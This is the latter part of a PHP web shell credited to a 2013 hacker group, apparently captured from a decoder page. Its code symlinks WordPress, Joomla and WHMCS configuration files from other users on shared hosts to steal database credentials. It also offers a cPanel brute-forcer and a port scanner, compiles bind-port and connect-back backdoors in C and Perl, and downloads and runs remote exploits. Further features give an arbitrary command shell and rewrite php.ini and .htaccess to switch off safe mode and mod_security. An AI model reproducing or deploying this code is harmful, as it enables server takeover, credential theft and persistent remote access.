symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
/////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #00ff00\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
/////////////////////////////////////////
/////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
}
?><center><br><br><div class="info">1n73ction Recode by Nabilaholic</div><br>
<div class="jaya">© 2013 JKT48 HACKER</div></center><br><br>
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
$auth_pass = "720284a7dd7fee50d09b53b77feee12b";
